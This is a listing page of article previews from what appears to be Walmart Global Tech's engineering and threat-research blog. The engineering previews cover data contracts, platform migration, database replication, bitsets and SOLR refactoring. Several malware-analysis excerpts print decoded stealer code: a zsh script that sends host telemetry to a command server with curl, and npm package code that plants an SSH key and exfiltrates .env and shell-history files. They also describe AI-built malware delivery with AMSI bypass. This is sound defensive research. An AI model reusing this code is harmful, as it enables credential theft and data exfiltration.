# Walmart Global Tech We're powering the next great retail disruption. Learn more about us -- https://www.linkedin.com/company/walmartglobaltech/ - Medium This is one page of public article previews, not the complete archive. Follow Next page to continue. Summaries are not the original full articles. ## Using Data Contracts to Coordinate Data Evolution at Enterprise Scale DevFeed: [Using Data Contracts to Coordinate Data Evolution at Enterprise Scale]() Original publisher: [Read original article]() Author: Keerthipriyan Published: 2026-08-25T20:22:17Z Content type: article Language: en Sources: [Walmart Global Tech]() Topics: [data-platforms](), [Data Quality](), [DataOps](), [systems]() Tags: [architecture](), [data](), [data-engineering](), [data-governance](), [data-platforms](), [data-quality](), [data-science](), [enterprise](), [organizational](), [pipeline](), [schema](), [software-engineering](), [teams](), [technology]() ### AI overview The article explains how data contracts help large enterprises coordinate changes across independently evolving data teams and downstream consumers. It argues that schema validation alone cannot identify ownership, downstream impact, or migration responsibilities, and presents data contracts as machine-enforceable coordination agreements. ### Source excerpt Coauthored by Satyajeet Coordinating Data Evolution at Enterprise Scale When you operate data platforms on a global enterprise scale, hundreds of engineering teams ship improvements every week, each moving independently to deliver value at the pace of the business demands. This velocity is a competitive advantage. The challenge: How do you enable hundreds of teams to evolve their data products independently while maintaining reliability for thousands of downstream consumers? Traditional coordination methods (messages, wiki updates, shared spreadsheets) work at small scale but break at Walmart scale. A source team ships an enhancement, perfectly valid within their domain, but that change ripples through fifteen downstream pipelines owned by different teams with different release schedules. Without a formal coordination mechanism, you discover the impact after it reaches production. The gap isn't technical debt or fragile systems. It's the absence of machine-enforceable agreements that scale with organizational complexity. Data contracts solve this: enabling teams to move fast independently while maintaining coordinated reliability across organizational boundaries. Here's the architecture we built. Why Schema Validation Alone Isn't Enough When data quality issues surface in production, the first instinct is often added to more schema validation. If a field is missing or has the wrong type, the pipeline catches it. This works for many data quality problems, but not all of them. Consider a scenario where a source team enhances their data model by restructuring field names to support new business capabilities. The schema still validates perfectly: every field exists; every type is correct; the data is well formed. But downstream consumers who depend on the original field names now receive empty results. Schema validation checks whether data has the right shape. It tells you that a field is missing. It does not tell you who owns that field, which downstream teams will bre ## SpectrePaste: An AI-Assisted, Fileless PowerShell Malware Delivery System DevFeed: [SpectrePaste: An AI-Assisted, Fileless PowerShell Malware Delivery System]() Original publisher: [Read original article]() Author: Joshua Platt Published: 2026-07-06T18:54:30Z Content type: article Language: en Sources: [Walmart Global Tech]() Topics: [Artificial Intelligence](), [Malware](), [Threat Research](), [PowerShell](), [C2](), [Caching](), [Encryption](), [Resilience](), [Routing (disambiguation)](), [Polymorphism](), [Back end](), [Spec Driven Development]() Tags: [ai](), [artificial-intelligence](), [backend](), [c2](), [cache](), [cybersecurity](), [detection-engineering](), [encryption](), [malware](), [malware-analysis](), [polymorphism](), [powershell](), [resilience](), [routing](), [spec-driven-development](), [threat-intelligence]() ### AI overview The article describes SpectrePaste, a previously undocumented fileless malware delivery system that threat actors used with AI as its primary orchestrator and developer. Its early architecture included automated AMSI-bypass generation, XOR-encrypted payloads, resilient command-and-control traffic handling, caching, request queuing, and administrative priority routing. ### Source excerpt by Joshua Platt and Jason Reaves [TLP:CLEAR] Earlier this year, Google Threat Intelligence[1] reported threat actors are increasingly deploying novel, AI-enabled malware in active operations[2]. While investigating a recent OSINT article[3] on malware campaign activity reported as "DeepLoad", our threat intelligence team identified a separate, previously undocumented fileless delivery system we track as "SpectrePaste". The prior public reporting correctly suspected AI involvement in the "DeepLoad" delivery chain, but our analysis reveals a more conclusive and concerning reality. AI did not just play a supporting role. It acted as the primary orchestrator and developer behind the entire SpectrePaste system. Threat actors internally referred to the early system as "PasteFast Panel." In this initial iteration, the system was highly modular, structured, and designed specifically for resilience against high-volume bot traffic. One of the hallmarks of automated, AI-assisted development. The early architecture functioned as a centralized PowerShell payload delivery system with several notable features: Automated Evasion Generation: The paste builder module automatically prepended Anti-Malware Scan Interface (AMSI) bypass scripts to payloads upon creation, followed by XOR encryption using a custom obfuscator template. This ensured every payload served was dynamically packed. C2 Resilience & High-Load Handling: The most sophisticated feature of the early version was its custom cache manager queue system. The threat actors anticipated massive, simultaneous beaconing from compromised hosts. To prevent database exhaustion, the panel featured an automated threshold toggle. During traffic spikes, the system queued requests, cached the encrypted payloads in memory, and deduplicated IP addresses to ensure a single infected bot could not inadvertently DDoS the command server. Admin Priority Routing: Developer requirements explicitly prioritized operator access. Administrative routes ## MetaStealer traffic, new DGAs and analyzing the "tracker" backdoor DGA with AI DevFeed: [MetaStealer traffic, new DGAs and analyzing the "tracker" backdoor DGA with AI]() Original publisher: [Read original article]() Author: Jason Reaves Published: 2026-06-17T21:54:01Z Content type: article Language: en Sources: [Walmart Global Tech]() Topics: [Malware](), [backdoor](), [payload](), [Python](), [Claude](), [Artificial Intelligence]() Tags: [ai](), [backdoor](), [capture](), [claude](), [claude-ai](), [infosec](), [ip](), [malware](), [payload](), [port](), [python](), [reverse-engineering]() ### AI overview The article examines new MetaStealer domain-generation algorithms and explains that its gate servers rely more on IP addresses, ports, URIs, and HTTP headers than on domains. It also analyzes RuntimeSync, a developing malware sample with RAT and backdoor capabilities, and describes using Claude.ai Sonnet 4.6 to reverse engineer its DGA and produce Python simulation code. ### Source excerpt By: Jason Reaves and Joshua Platt In this blog we simply want to highlight a few new additions to what appears to be related to MetaStealer, one is a new wordlist based DGA used by MetaStealer. We also want to highlight that MetaStealer's proxies or 'gates' don't actually care what domain gets used as it's just a config item; they simply pass on the traffic to another server. We also want to highlight a task that was seen delivered to a few bots which is related to MetaStealer but appears to still be in development. This turned out to be a piece of malware that contains RAT/backdoor functionality. Leveraging Claude.ai Sonnet 4.6 we were able to systematically guide the AI to automatically reverse engineer the DGA used in the backdoor malware and provide working python code to simulate it. MetaStealer DGA: As previously mentioned MetaStealers new DGA is based on a wordlist. Below are some recent examples: sea-vast-send.com 46bbaceb6073f196bf7737c67f5394a6465e396bbcbbac1afe5f2f866c995fd0hxxp://pestrear-lamp.xyz:443 d57e132866286f9b4227c7fb1cd77f16a461e76a3f3e71362734741aab6b9a96hxxp://anus-staylard.xyz:443 d1b88ded80f0e616362b8984334c69da1ea2f32d0828480e32978d1a710f40c5 This does not mean, however, that the older DGA is no longer in use; it remains active. The threat actor (TA) has designed their gate servers in such a way that they are largely agnostic to the domain being used. Instead, the IP address, port, URI, and HTTP headers are the more important factors. 155.117.20.75 qocyeicmusmegouw.xyz 213.139.77.254 uumcceymkuymmqou.xyz We didn't focus on this DGA though because during our investigation we stumbled on a piece of malware being actively developed by the same TA that also had a DGA. Backdoor "tracker" During the investigation, we observed a peculiar payload being delivered to several machines: an installer named RuntimeSync, example hash: 82c218357266ce314f523946bdd661cc335a120981c471e95d70af7fbd4d9141 RuntimeSyncExe: PE32+ executable (GUI) x86-64, for MS Win ## From Build to Adoption: A Playbook for Driving Platform Migration DevFeed: [From Build to Adoption: A Playbook for Driving Platform Migration]() Original publisher: [Read original article]() Author: Astha Purohit Published: 2026-06-02T00:21:44Z Content type: tutorial Language: en Sources: [Walmart Global Tech]() Topics: [Platform Engineering](), [migration](), [consistency]() Tags: [cost](), [migration](), [platform](), [platform-engineering](), [product-management](), [scope](), [teams]() ### AI overview This article shares lessons from 18 months of building an internal platform and driving tenant adoption. It explains why migration often progresses slowly despite a successful launch, because tenant teams face engineering costs, regression risk, calendar pressure, and competing priorities. It presents platform adoption as a distinct challenge from platform delivery. ### Source excerpt What 18 months of building an internal platform -- and driving tenant adoption -- have taught me. The common mistakes, and six phases for doing it right. The strange quiet after launch Six months after we built and launched an internal platform, I thought adoption would be easy. The reality couldn't have been more different. Adoption often takes longer than expected because tenant teams already have working systems, and migration carries real cost. The new system is working. The integration guide exists. The kickoff meetings have happened. And yet the pace of migration is slower than expected. Building a platform has a kind of urgency. There are sprints, demos, design reviews, exec readouts, and finally a launch announcement. Architecture diagrams get refined each week. A go-live date appears on a roadmap, and everyone sprints toward it. Then the platform ships, and the real work starts. I've spent the last 18 months building and launching an internal platform at Walmart and have been leading its tenant onboarding. This is a piece about what I've learned -- including the mistakes -- about platform adoption. AI Generated ImageThe most expensive assumption in platform engineering: "If we build it, they will come." It is comforting because it makes adoption someone else's problem. The platform team builds; the tenant teams choose. We tell ourselves that if the platform is good enough, the choice will be easy. But the tenant team already has a working system. It is integrated, instrumented, and understood. It carries years of bug fixes and accumulated edge cases. When tenant teams are asked to migrate, it feels like taking on a tax -- engineering effort, regression risk, calendar pressure -- in exchange for a benefit that mostly accrues down the road, while pulling engineering bandwidth away from higher-priority work today. Yes, there are real benefits: consistency across the company, a lower long-term cost of ownership, shared capabilities that scale across teams, and capabi ## Shub Stealers Fake Crypto Apps DevFeed: [Shub Stealers Fake Crypto Apps]() Original publisher: [Read original article]() Author: Jason Reaves Published: 2026-04-06T17:34:44Z Content type: article Language: en Sources: [Walmart Global Tech]() Topics: [Security](), [C2](), [Bash](), [Zsh](), [payload](), [telemetry](), [API](), [JSON]() Tags: [c2](), [code](), [infosec](), [json](), [macos](), [malware](), [payload](), [reverse-engineering](), [security](), [shell](), [shell-script](), [telemetry](), [zsh]() ### AI overview Jason Reaves examines Shub Stealer's fake cryptocurrency applications. The article describes shell-script checks that collect system and locale information, send telemetry, and block execution in certain environments, then explains how counterfeit Exodus, Atomic, Ledger, LedgerLive, and Trezor apps capture wallet credentials or recovery phrases and send the data to command-and-control infrastructure. ### Source excerpt By: Jason Reaves Shub Stealer[1] which looks very similar to MacSync also leveraged the same obfuscator on their shellscript[2] that is very popular lately. Shell script: fd674425d3fc0d95bbc90dcd598eabdb2ddd77037954c8a1d1175f118d1e8ddd After decoding however it is a bit different as it includes a number of checks: #!/bin/zsh # Debug loader -- detect CIS and block with telemetry IS_CIS="false" if defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -qi russian; then IS_CIS="true" fi # Detect locale info -- sanitize for JSON LOCALE_INFO=$(defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -i "KeyboardLayout Name" | head -5 | tr '\n' ',' | tr -d '"' | tr -d "'" || echo "unknown") HOSTNAME=$(hostname 2>/dev/null | tr -d '"' || echo "unknown") OS_VER=$(sw_vers -productVersion 2>/dev/null || echo "unknown") EXT_IP=$(curl -s --max-time 5 https://api.ipify.org 2>/dev/null || curl -s --max-time 5 hxxps://icanhazip.com 2>/dev/null || curl -s --max-time hxxps://ifconfig[.]me 2>/dev/null || echo "unknown") EXT_IP=$(echo "$EXT_IP" | tr -d ' ') # Build JSON safely using printf send_debug_event() { local EVT="$1" local JSON=$(printf '{"event":"%s","build_hash":"%s","ip":"%s","is_cis":"%s","locale":"%s","hostname":"%s","os_version":"%s"}' "$EVT" "" "$EXT_IP" "$IS_CIS" "$LOCALE_INFO" "$HOSTNAME" "$OS_VER") curl -s -X POST "hxxps://coco2-hram[.]com/api/debug/event" -H "Content-Type: application/json" -d "$JSON" --max-time 5 >/dev/null 2>&1 } # If CIS -- send cis_blocked event and exit if [ "$IS_CIS" = "true" ]; then send_debug_event "cis_blocked" >/dev/null 2>&1 exit 0 fi # Not CIS -- send loader_requested event send_debug_event "loader_requested" >/dev/null 2>&1 & daemon_function() { exec /dev/null exec 2>/dev/null curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Sa ## Mapping Ottercookie Infrastructure DevFeed: [Mapping Ottercookie Infrastructure]() Original publisher: [Read original article]() Author: Jason Reaves Published: 2026-04-06T17:33:39Z Content type: article Language: en Sources: [Walmart Global Tech]() Topics: [Threat Research](), [Malware](), [JavaScript](), [npm](), [ssh](), [Feathers]() Tags: [backdoor](), [credentials](), [infosec](), [javascript](), [malware](), [malware-analysis](), [npm](), [reverse-engineering](), [ssh]() ### AI overview Jason Reaves analyzes infrastructure associated with OtterCookie and related DPRK-linked malware activity. The article examines a NodeJS package whose decoded code downloads an SSH key, retrieves scan patterns targeting files such as .env and shell history, and sends collected files to remote infrastructure. It then uses port mappings and banner hashes to map additional infrastructure. ### Source excerpt By: Jason Reaves A lot of focus specifically surrounding DPRK has been on IT workers but there are multiple entities performing various schemes. One of the more prolific ones being interviewing developers and having them work on TA supplied code repositories from various sites. The malware delivered is normally leveraged for harvesting credentials and crypto; InvisibleFerret[5], BeaverTail, OtterCookie and Golang based malware[4]. Alot of work goes into tracking and cataloging the various malware families and their code overlaps, not many people focus on the infrastructure side though which is surprising because it's pretty similar to malware analysis; just more pattern matching. While tracking some other malware I ended up pivoting into NodeJS based stealer and backdoor code that resembled similar tactics to DPRK campaigns. 3a08e7f236aac7f6eb6f75911b98bc5157dcfa53b268b447f7d1b87b0615b90d "name": "npm-doc-builder", "version": "1.0.5", "description": "", "main": "index.js", "scripts": { "postinstall": "node test.js" }, "publishConfig": { "access": "public" }, "dependencies": { "axios": "^1.7.0", "child_process": "^1.0.2", "os": "^0.1.2" }, "engines": { "node": ">=18" }, "keywords": [], "author": "", "license": "ISC", "type": "commonjs" The decoded index javascript from this package ends up doing a few things, first it will want to download a SSH key to be added locally: const _0x30c718 = await fetch("https://cloudflareinsights[.]vercel[.]app/"); const { msg: _0x50cbce } = await _0x30c718.json(); let _0x581499 = false; if (process.platform === "linux") { _0x581499 = addSshKeyToUser(_0x50cbce); It will also download patterns for scanning const _0x3c4caa = await fetch("https://cloudflareinsights[.]vercel[.]app/api/scan-patterns"); const { scanPatterns: _0x28ca54 } = await _0x3c4caa.json(); In this case it returned: {"scanPatterns":[".env",".bash_history","ConsoleHost_history.txt"]} Ultimately wanting to send off the files: for (let _0x14ded9 = 0x0; _0x14ded9 < _0x57def7 ## From Single Instance to Split-Brain: A Database Scaling Journey DevFeed: [From Single Instance to Split-Brain: A Database Scaling Journey]() Original publisher: [Read original article]() Author: Alok Mishra Published: 2026-03-31T18:40:52Z Content type: tutorial Language: en Sources: [Walmart Global Tech]() Topics: [Databases](), [Replication](), [MySQL](), [PostgreSQL](), [Self-hosted](), [backups](), [Cloud](), [Monitoring](), [Amazon EC2](), [Kubernetes]() Tags: [architecture](), [backups](), [bare-metal](), [cloud](), [cloud-services](), [cloud-sql](), [cockroachdb](), [database](), [ec2](), [failover](), [google](), [google-cloud](), [google-cloud-sql](), [kubernetes](), [monitoring](), [mysql](), [postgresql](), [production](), [read-replica](), [recovery](), [software-architecture](), [software-development](), [software-engineering]() ### AI overview This article explains how database scaling commonly uses a single-leader architecture with asynchronous read replicas. It discusses replication lag, stale reads, split-brain risks, read/write traffic separation, and the operational responsibilities of self-managed versus fully managed database services. ### Source excerpt I used to think adding a 'Read Replica' was a magic button for scaling applications. I was wrong. While splitting read and write traffic is a standard system design pattern, implementing it introduces a world of pain - from stale reads to the dreaded Split-Brain problem. Here is how database replication actually works, and how to survive the transition. When people talk about "scaling databases" or "adding read replicas", they are almost always thinking about one specific architecture: Single-leader (Primary-Replica) architecture with asynchronous replication This is the architecture used by: MySQL + replicas PostgreSQL + streaming replication Google Cloud SQL PlanetScale, Neon, Supabase, etc. There is exactly one node that accepts writes -> called the Primary (or Leader/Master). All other nodes are Read Replicas -> they apply changes from the primary as fast as they can, but always with some delay (replication lag). This is the default and dominant model in 99% of applications today. Alternative architectures exist (multi-primary, leaderless, CRDTs, etc.), but they are rare and come with their own very different trade-offs. The second axis that actually matters in practice is: Who manages the replicas and failover for you?1. Self-hosted / Self-managed You run MySQL or PostgreSQL yourself (on EC2, Kubernetes, bare metal, etc.). You are 100% responsible for: Setting up replication Promoting a new primary when the old one dies Routing traffic correctly Handling replication lag Monitoring, backups, point-in-time recovery, etc. 2. Fully-managed cloud services RDS, Aurora, PlanetScale, Neon, Supabase, CockroachDB, Spanner, YugabyteDB, etc. The provider gives you a single connection string (or two: one for writes, one for reads) and magically keeps it pointing to healthy nodes, handles failover in seconds, and often hides (or eliminates) replication lag headaches. This second axis is the one that determines how much pain you will actually feel in production. Now, suppose yo ## How Bitsets Supercharged Our Backend: Faster String Overlap Checks at Scale DevFeed: [How Bitsets Supercharged Our Backend: Faster String Overlap Checks at Scale]() Original publisher: [Read original article]() Author: Jiaqi Zhu Published: 2026-03-25T19:02:18Z Content type: article Language: en Sources: [Walmart Global Tech]() Topics: [Optimization](), [Back end](), [Database](), [data](), [Caching]() Tags: [access-control](), [backend](), [backend-development](), [caching](), [complexity](), [database](), [distributed-systems](), [memory](), [optimization](), [performance](), [performance-optimization](), [real-time](), [software-engineering]() ### AI overview This article describes a backend performance problem involving overlap checks between large sets of strings. It explains that nested loops and hash-based comparisons became bottlenecks as data volumes and request loads increased, while local caching improved lookup speed but created significant memory pressure. The article introduces bitset optimization as the approach used to transform these overlap checks. ### Source excerpt Introduction Ever wondered why your backend slows to a crawl when comparing massive sets of strings? Here's how we turned a bottleneck into a lightning-fast operation using bitsets. Efficiently checking for overlaps between large sets of strings is a common challenge in high-throughput backend services. Traditional approaches -- such as nested loops or hash-based comparisons -- can quickly become performance bottlenecks, especially as data volumes scale and both memory and response time are critical. This is particularly true in environments like Walmart's, where backend systems routinely process millions of records per second to power search, recommendation, and fraud detection features. As our applications grew, we observed that even well-optimized hash set operations struggled to keep up with the demands of real-time processing. In this blog, I'll share how we leveraged bitset optimization to transform our string set overlap checks. The Problem: When "Fast Enough" Isn't Enough Our service is designed to handle high volumes of requests, each containing multiple sets of strings mapped to unique keys -- such as user IDs, product SKUs, or transaction identifiers. For every incoming key, we must efficiently retrieve the corresponding set of strings from our backend database and determine if there is any overlap with the provided set in the request. This overlap check is a critical step in workflows like deduplication, access control, and real-time validation. However, as the number of keys and the size of each string set grow, the computational and memory demands of these operations can escalate rapidly. The Memory Bottleneck To mitigate performance bottlenecks, we initially explored caching the database string sets locally within each pod. While this approach did improve lookup speed, it introduced a new challenge: memory consumption. As our dataset grew, the memory footprint of these in-memory caches ballooned, reaching as high as an unsustainable level in the worst-ca ## Modularizing SOLR Query Creation for Multi-Market Scale DevFeed: [Modularizing SOLR Query Creation for Multi-Market Scale]() Original publisher: [Read original article]() Author: Naman Parikh Published: 2026-03-03T12:18:55Z Content type: tutorial Language: en Sources: [Walmart Global Tech]() Topics: [Code](), [configuration](), [implementation](), [Testing](), [debug]() Tags: [article](), [code](), [complexity](), [configuration](), [developer](), [errors](), [exceptions](), [implementation](), [information-retrieval](), [modular-monolith](), [monolithic-architecture](), [regression](), [software-architecture](), [software-engineering](), [technical](), [testing]() ### AI overview This article describes modularizing a 12,000-line SOLR query creation implementation used across multiple markets. It explains how separating query concerns, adding market-specific configuration, and using stronger typing aimed to reduce coupling, regression risk, and runtime errors. ### Source excerpt Introduction When the SOLR query logic expanded into a 12,000-line monolithic implementation, each modification introduced significant risk, making every change feel akin to defusing a critical system. Adding a market-specific override required yet another if block, compounding complexity and slowing time-to-market. In this article, we will deep dive how we broke that SOLR query creation logic, enabling clean configuration per market, stronger typing, reducing technical debts and dramatically reduced runtime errors. Image generated with DALL-E via ChatGPTThe Problem: When SOLR Queries Creation Logic Become Technical Debt The SOLR query logic class was handling filtering logic, boosting logic, boost functions, pagination etc. All the parameters related to SOLR query was getting generated using single class. Overthe time, this core class handled various logics related to different type of queries: Primary search queries Item insertions via business tools Item insertions via semantic sources Thousands of lines tangled edge-case handling, scoring tweaks, and boosting logic. This unscalable approach: Blocked rapid iteration for new markets Tight Coupling: All query-handling logic lived in one massive class, making it difficult to cleanly separate concerns. Market-specific changes could unintentionally affect unrelated logic, requiring exhaustive regression testing. High Risk of Unintended Consequences: Changing business requirements (such as supporting different filtering or boosting strategies for a new market) entailed changing existing code that already served other markets. Developers had to be extremely cautious, as a bug or oversight could break unrelated functionality. No Configuration Flexibility: There was no clear system for externalizing market-specific configuration. Instead, all logic changes happened directly in code, preventing business users or product managers from making simple market changes without developer intervention. Increased Runtime exceptions ## White Paper on Data Science Technical Program Management DevFeed: [White Paper on Data Science Technical Program Management]() Original publisher: [Read original article]() Author: Sonu Jain Published: 2026-02-27T12:41:46Z Content type: article Language: en Sources: [Walmart Global Tech]() Topics: [Data Science](), [Model Development](), [Development](), [Software Engineering]() Tags: [collaboration](), [coverage](), [data-science](), [experimental](), [leadership](), [machine-learning](), [management](), [paper](), [retail](), [software-engineering](), [technical](), [technical-program-manager](), [training](), [validation](), [white-paper]() ### AI overview This white paper presents a structured approach to managing Data Science programs through technical program management. It discusses business alignment, cross-functional collaboration, data validation, model training and retraining, governance, and phased execution, using an inventory forecasting initiative as a real-world example. ### Source excerpt 1. Abstract Managing Data Science programs requires a structured approach to handle the complexities of data, model development, and business alignment. This whitepaper provides a comprehensive guide on the effective program management of Data Science programs by technical program managers. It highlights the critical role of Technical Program Managers (TPMs) in driving successful execution and outlines the key phases, challenges, and recommended best practices at every stage for effectively managing Data Science programs This white paper is grounded in a real-world inventory forecasting initiative aimed at improving stock availability and reducing overstock across multiple retail categories. The program involved cross-functional collaboration between Data Science, Engineering, Product, and Business teams to build predictive models that could dynamically adjust inventory levels based on demand signals. 2. Introduction Data Science has become a critical pillar of decision-making across industries, but organizations continue to struggle with operationalizing these initiatives. Unlike software development, which follows predictable sprint cycles, Data Science programs are inherently experimental -- requiring repeated cycles of data validation, model training, and retraining before they reach acceptable performance levels. This uncertainty often leads to misaligned expectations, delays in delivery, and inconsistent business impact. The iterative nature of model development makes predictability especially challenging: teams may require multiple iterations to achieve coverage and accuracy thresholds that satisfy business needs. Without structured program management, these efforts risk becoming siloed experiments rather than scalable, value-generating solutions. This whitepaper aims to address this gap by providing a practical framework for Technical Program Managers (TPMs) to manage Data Science programs effectively. It draws on real-world experience from a large-scale inve